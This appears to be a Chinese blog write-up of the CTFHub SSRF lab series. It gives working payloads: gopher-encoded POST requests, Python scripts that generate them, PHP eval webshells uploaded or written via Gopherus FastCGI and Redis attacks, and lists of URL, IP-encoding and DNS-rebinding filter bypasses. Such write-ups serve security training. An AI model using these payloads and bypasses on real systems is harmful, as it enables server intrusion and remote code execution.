CTFHub-技能树-Web-SSRF

Http、Dict和file等协议的利用

内网访问

尝试访问位于127.0.0.1下的flag.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v612KgCk-1650266415133)(内网访问.png)]

直接上?url=_127.0.0.1/flag.php

发现没有显示

尝试直接打开flag.php

发现被限制

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ADT7fWla-1650266415134)(内网访问-0.png)]

后来才发现是多了一个下划线

?url=127.0.0.1/flag.php

就KO了!

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OfDUZNu1-1650266415135)(内网访问-1.png)]

伪协议读取文件

题目

尝试去读取一下Web目录下的flag.php吧

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-26BWTpaE-1650266415135)(伪协议读取文件.png)]

提示利用为协议读取文件

常见url协议

url伪协议

file:// — 访问本地文件系统

http:// — 访问 HTTP(s) 网址

ftp:// — 访问 FTP(s) URLs

网站文件一般在 var/www/html/

尝试访问 var/www/html/flag.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BbowyHQY-1650266415136)(伪协议读取文件1.png)]

查看源码,发现flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AO6PtIfC-1650266415136)(伪协议读取文件2.png)]

端口扫描

SSRF的简单科普 - SecPulse.COM | 安全脉搏

SSRF在有无回显方面的利用及其思考与总结 - 先知社区 (aliyun.com)

[WEB安全]SSRF中URL的伪协议 (bbsmax.com)

题目

来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ssdFrMJJ-1650266415137)(端口扫描.png)]

根据提示扫描端口8000-9000

端口扫描一般使用dict://

http://challenge-766d4b029aec8a13.sandbox.ctfhub.com:10800/?url=dict://127.0.0.1:8000

利用burpsuite抓包,进行端口爆破扫描

8987端口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nC9U9Umt-1650266415137)(伪协议读取文件3.png)]

使用http:// 访问

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-c36lVUhz-1650266415138)(伪协议读取文件4.png)]

gopher协议利用

POST请求

这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dsayx4u8-1650266415139)(POST请求.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vy7FUvG4-1650266415139)(POST请求1.png)]

查看网页源码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SLx48Z0M-1650266415139)(POST请求2.png)]

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=c0e86b425e4b28c1a38baafc3f4446a4-->
</form>

给出了一个key

key=c0e86b425e4b28c1a38baafc3f4446a4

尝试输进去试一试,提示只能从127.0.0.1 (内网)查看

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nBgvCycD-1650266415140)(POST请求3.png)]

使用file://协议先看看indexphp,flag.php的源码

file:///var/www/html/index.php
file:///var/www/html/flag.php

index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7ffVcJrp-1650266415140)(POST请求4.png)]

flag.php

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

我们需要使用gopher 协议,去帮我们提交带key的请求

使用 Gopher 协议向服务器发送 POST 包

构造 Gopher协议所需的 POST请求

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=c0e86b425e4b28c1a38baafc3f4446a4
    

使用 Gopher协议发送 POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在 GET请求中可以没有。

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

所以我们需要对构造的请求包进行两次 URL编码

网上payload脚本

import urllib.parse


payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=c0e86b425e4b28c1a38baafc3f4446a4
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C6Kx0cwC-1650266415141)(POST请求5.png)]

http://challenge-310f9587fa3d34a9.sandbox.ctfhub.com:10800/?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dc0e86b425e4b28c1a38baafc3f4446a4%250D%250A

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uuKsCcDu-1650266415142)(POST请求6.png)]

文件上传

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yn48NgET-1650266415142)(文件上传.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JC7Yalef-1650266415143)(文件上传0.png)]

查看源码

?url=file:///var/www/html/flag.php
?url=file:///var/www/html/index.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wjQHgi3c-1650266415143)(文件上传1.png)]

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hLxpa2ua-1650266415143)(文件上传2.png)]

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

尝试上传webshell

先把提交按钮搞出来

<input type='submit'  name ='submit'>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NZ3lvG3G-1650266415144)(文件上传3.png)]

抓包,提交,还是要在内部上传、

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bjv4yQ7d-1650266415144)(文件上传4.png)]

继续使用gopher协议

使用刚才的payload脚本,把抓到的数据包放进payload里

import urllib.parse


payload =\
"""
POST /flag.php HTTP/1.1
Host: challenge-b83e59b914bddde3.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------312108925317709946761014349212
Content-Length: 389
Origin: http://challenge-b83e59b914bddde3.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-b83e59b914bddde3.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

-----------------------------312108925317709946761014349212
Content-Disposition: form-data; name="file"; filename="web.php"
Content-Type: application/octet-stream

<?php
@eval($_POST['shell']);
?>
-----------------------------312108925317709946761014349212
Content-Disposition: form-data; name="file"

鎻愪氦鏌ヨ
-----------------------------312108925317709946761014349212--
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

直接url访问

http://challenge-b83e59b914bddde3.sandbox.ctfhub.com:10800/?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-b83e59b914bddde3.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A99.0%2529%2520Gecko/20100101%2520Firefox/99.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------312108925317709946761014349212%250D%250AContent-Length%253A%2520389%250D%250AOrigin%253A%2520http%253A//challenge-b83e59b914bddde3.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-b83e59b914bddde3.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250APragma%253A%2520no-cache%250D%250ACache-Control%253A%2520no-cache%250D%250A%250D%250A-----------------------------312108925317709946761014349212%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522web.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%250D%250A%2540eval%2528%2524_POST%255B%2527shell%2527%255D%2529%253B%250D%250A%253F%253E%250D%250A-----------------------------312108925317709946761014349212%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%250D%250A%250D%250A%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%25E9%258F%258C%25E3%2583%25A8%25EE%2587%2597%250D%250A-----------------------------312108925317709946761014349212--%250D%250A

得到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-22drdEPa-1650266415144)(文件上传5.png)]

FastCGI协议

这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

附件文章 https://blog.csdn.net/mysteryflower/article/details/94386461

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o5NyiKKr-1650266415145)(FastCGI协议.png)]

使用gopherus工具

下载地址

https://codeload.github.com/tarunkant/Gopherus/zip/refs/heads/master

攻击fastcgi协议利用条件:

libcurl版本>=7.45.0

PHP-FPM监听端口

PHP-FPM版本 >= 5.3.3

知道服务器上任意一个php文件的绝对路径`

gopherus使用

python gopherus.py --exploit fastcgi
/var/www/html/index.php                 # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php

<?php eval($_POST[whoami]);?>
base64加密
PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3Ff71Jb6-1650266415145)(FastCGI协议1.png)]

需要将生成的进行一次编码,因为get本身会进行一次url解码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uFGAjn7v-1650266415146)(FastCGI协议2.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ANXBIEvz-1650266415146)(FastCGI协议3.png)]

蚁剑连接

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dJzqwHYz-1650266415147)(FastCGI协议4.png)]

在根目录发现flag文档

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XTko3rKy-1650266415148)(FastCGI协议5.png)]

Redis协议

这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v7QH14Af-1650266415148)(Redis协议.png)]

还是使用gopherus工具

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1gvuvWke-1650266415148)(Redis协议1.png)]

再次url编码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tiAARoUY-1650266415149)(Redis协议2.png)]

url访问虽然502,但是文件已经写入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BDH2RpCw-1650266415149)(Redis协议3.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bPdJRBDM-1650266415150)(Redis协议4.png)]

蚁剑连接就行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IxzHqGPR-1650266415150)(Redis协议5.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1c5ynY8c-1650266415151)(Redis协议6.png)]

Bypass

URL Bypass

参考Web安全之url跳转漏洞及bypass总结

1. 单斜线"/"绕过
https://www.landgrey.me/redirect.php?url=/www.evil.com
2. 缺少协议绕过
https://www.landgrey.me/redirect.php?url=//www.evil.com
3. 多斜线"/"前缀绕过
https://www.landgrey.me/redirect.php?url=///www.evil.com
https://www.landgrey.me/redirect.php?url=www.evil.com
4. 利用"@"符号绕过
https://www.landgrey.me/redirect.php?url=https://www.landgrey.me@www.evil.com
5. 利用反斜线"\"绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com\www.landgrey.me
6. 利用"#"符号绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com#www.landgrey.me
7. 利用"?"号绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com?www.landgrey.me
8. 利用"\\"绕过
https://www.landgrey.me/redirect.php?url=https://www.evil.com\\www.landgrey.me
9. 利用"."绕过
https://www.landgrey.me/redirect.php?url=.evil           (可能会跳转到www.landgrey.me.evil域名)
https://www.landgrey.me/redirect.php?url=.evil.com       (可能会跳转到evil.com域名)
10.重复特殊字符绕过
https://www.landgrey.me/redirect.php?url=///www.evil.com//..
https://www.landgrey.me/redirect.php?url=www.evil.com//..
11 xip.io绕过
http://xxx.yyy.zzz.xip.io/ == xxx.yyy.zzz  xxx任意

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iUZHHyDj-1650266415151)(URL Bypass.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ltwQtnK9-1650266415151)(URL Bypass1.png)]

构造urlbypass payload

利用"@"符号绕过

http://challenge-71a16ac5a43dfae7.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

在这里插入图片描述

其余的都试了一下,结果都不行。这里只有@可以绕过。

数字IP Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kHZuo9Gu-1650266415152)(数字IP Bypass.png)]

10进制确实被禁止,可以使用可以十六进制,二进制等其他进制

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qEbcrQgz-1650266415152)(数字IP Bypass1.png)]

ip地址进制转换

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-McDYYG2l-1650266415153)(数字IP Bypass2.png)]

127.0.0.1

十六进制 = 7F000001
二进制 = 1111111000000000000000000000001

16进制 0x/0X (二进制 0b/0B 试了一下不行)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nrDAytB9-1650266415153)(数字IP Bypass3.png)]

302跳转 Bypass

SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UK7k5LGt-1650266415153)(302跳转 Bypass.png)]

这一关主要检测127.0.0.1,绕过就行

查看源码

?url=file:///var/www/html/index.php

index.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u9QNNt4v-1650266415154)(302跳转 Bypass5.png)]

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$url = $_REQUEST['url'];

if (preg_match("/127|172|10|192/", $url)) {
    exit("hacker! Ban Intranet IP");
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

查看源码

?url=file:///var/www/html/flag.php

flag.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qCzxh2oy-1650266415154)(302跳转 Bypass4.png)]

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    exit;
}

echo getenv("CTFHUB");

进制转换

具有127.0.0.1含义的其他地址

参考关于localhost,0.0.0.0及127.0.0.1的区别

都可以直接KO,

进制转换   16进制  2进制(会被检测)
?url=0x7F000001/flag.php
?url=http://0x7F000001/flag.php
其他代表127.0.0.1地址符号的  localhost  0  
localhos在IPV4中被指向127.0.0.1 
?url=localhost/flag.php
?url=http://localhost/flag.php
?url=0/flag.php
?url=http://0/flag.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ICRcuHjr-1650266415155)(302跳转 Bypass1.png)]

DNS重绑定 Bypass

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1aHlUFnM-1650266415155)(DNS重绑定 Bypass.png)]

附件地址 https://zhuanlan.zhihu.com/p/89426041

DNS TTL

TTL值全称是“生存时间(Time To Live)”,简单的说它表示DNS记录在DNS服务器上缓存时间,数值越小,修改记录各地生效时间越快。

当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。

常见的设置TTL值的场景

1.增大TTL值,以节约域名解析时间

通常情况下域名解析记录是很少更改的。我们可以通过增大域名记录的TTL值让记录在各地DNS服务器中缓存的时间加长,这样在更长的时间段内,我们访问这个网站时,本地ISP的DNS服务器就不需要向域名的NS服务器发出解析请求,而直接从本地缓存中返回域名解析记录,从而提高解析效率。 TTL值是以秒为单位的,通常的默认值都是3600,也就是默认缓存1小时。我们可以根据实际需要把TTL值扩大,例如要缓存一天就设置成86400。

2.减小TTL值,减少更新域名记录时的不可访问时间

更换空间因为TTL缓存的问题,新的域名记录,在有的地方可能生效了,有的地方可能等上一两天甚至更久才生效。结果就是有的人访问到了新服务器,有的人访问到了旧服务器。如果原来的域名TTL值设置的小,各地的ISP域名缓存服务器服务器就会很快的访问你域名的权威DNS解析服务器,尽快把你域名的DNS解析IP返回给查询者。

DNS Rebinding 攻击

在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。

查看源码

?url=file:///var/www/html/flag.php
?url=file:///var/www/html/index.php

flag.php

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    exit;
}

echo getenv("CTFHUB");

index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$url = $_REQUEST['url'];

if (preg_match("/127|172|10|192/", $url)) {
    exit("hacker! Ban Intranet IP");
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);

上一关的localhost、0是不行的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AeyHDQG0-1650266415155)(DNS重绑定 Bypass1.png)]

过滤不严谨—0.0.0.0

正常的思路应该是使用的他给的提示—DNS重绑定 对这个方向进行突破

结果0.0.0.0/直接给KO了

应该是因为0.0.0.0代表本机网络中的本机,(也相当于127.0.0.1)

而过滤规则没有把0.0.0.0给禁止掉

结果就KO,拿到flag!(小意外)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-l2cYyX3X-1650266415156)(DNS重绑定 Bypass2.png)]

DNS重绑定

https://lock.cmpxchg8b.com/rebinder.html

这是一个测试dns重绑定漏洞的网站,可以让一个域名随机的绑定两个IP

一个127.0.0.1,一个其他的ip(能访问就行,我设置的是自己的服务器ip)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OWSS7vEI-1650266415156)(DNS重绑定 Bypass5.png)]

DNS解析有两种可能(可能解析的ip是127.0.0.1或者另外一个ip)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kzOGiQHu-1650266415157)(DNS重绑定 Bypass6.png)]

然后直接在url中输入

?url=7000001.7cddf025.rbnd.us/flag.php

另外一个ip的结果

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RoR8Zf7a-1650266415157)(DNS重绑定 Bypass3.png)]

按着F5不停刷新浏览器就行,很快就能出现127.0.0.1的结果。

解析到127.0.0.1的时候就看到flag了

在这里插入图片描述

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值